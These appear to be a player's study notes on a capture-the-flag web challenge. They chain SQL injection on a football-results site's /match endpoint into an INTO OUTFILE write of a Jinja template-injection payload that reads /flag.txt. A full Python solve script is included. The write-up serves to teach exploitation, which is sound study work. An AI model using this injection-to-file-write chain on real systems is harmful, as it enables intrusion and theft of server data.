world-cup
- •
Attribution
- •
Solved by mail/watson during the competition. These are rn’s study notes based on the teammate’s documented solve, not an independent rn solve.
- •
- •
What it asked
- •
Recover the flag from a football-results website. The useful surfaces were /match?id=…, database-visible audit information, and /promo/final-week.
- •
- •
Approach
- •
A malformed id causing HTTP 500 was only a clue. A working 12-column UNION SELECT established SQL injection; the fifth selected value was reflected in the page.
- •
Enumerated information_schema to inspect schemas, tables, and columns. Investigating the admin password hash did not yield a useful login route.
- •
audit_logs revealed that /app/templates/live_promo.html was missing. The database user had FILE privilege and secure_file_priv permitted writes beneath /app/templates/.
- •
Wrote a probe file and confirmed file access, then wrote a Jinja template that read /flag.txt. Visiting /promo/final-week caused the application to render the injected template.
- •
The chain requires all three conditions: SQL injection, database permission to write a usable template path, and application rendering of that template. SQL injection alone does not imply this chain.
- •
- •
Solution
- •
import requests def solve_world_cup(base_url): session = requests.Session() def request_sql(sql): return session.get(base_url.rstrip('/') + '/match', params={'id': sql}, timeout=15) def union(expr): return '-1 UNION SELECT 1,2,3,4,' + expr + ',6,7,8,9,10,11,12' # These responses establish the database identity and permitted write path. print(request_sql(union('USER()')).text) print(request_sql(union('@@secure_file_priv')).text) payload = '{{ self.__init__.__globals__.__builtins__.open("/flag.txt").read() }}' sql = union('0x' + payload.encode().hex()) sql += " INTO OUTFILE '/app/templates/live_promo.html'" result = request_sql(sql) print('File-write response:', result.status_code) # OUTFILE cannot overwrite an existing file. Use a fresh challenge instance # if a previous probe already created live_promo.html. rendered = session.get(base_url.rstrip('/') + '/promo/final-week', timeout=15) rendered.raise_for_status() return rendered.text
- •
- •
Verification
- •
The team PDF records successful flag recovery. This refactored HTTP client was not run against a live target. SQL quoting is handled with a hex literal; instance addresses are supplied explicitly.
- •
- •
Concepts
- •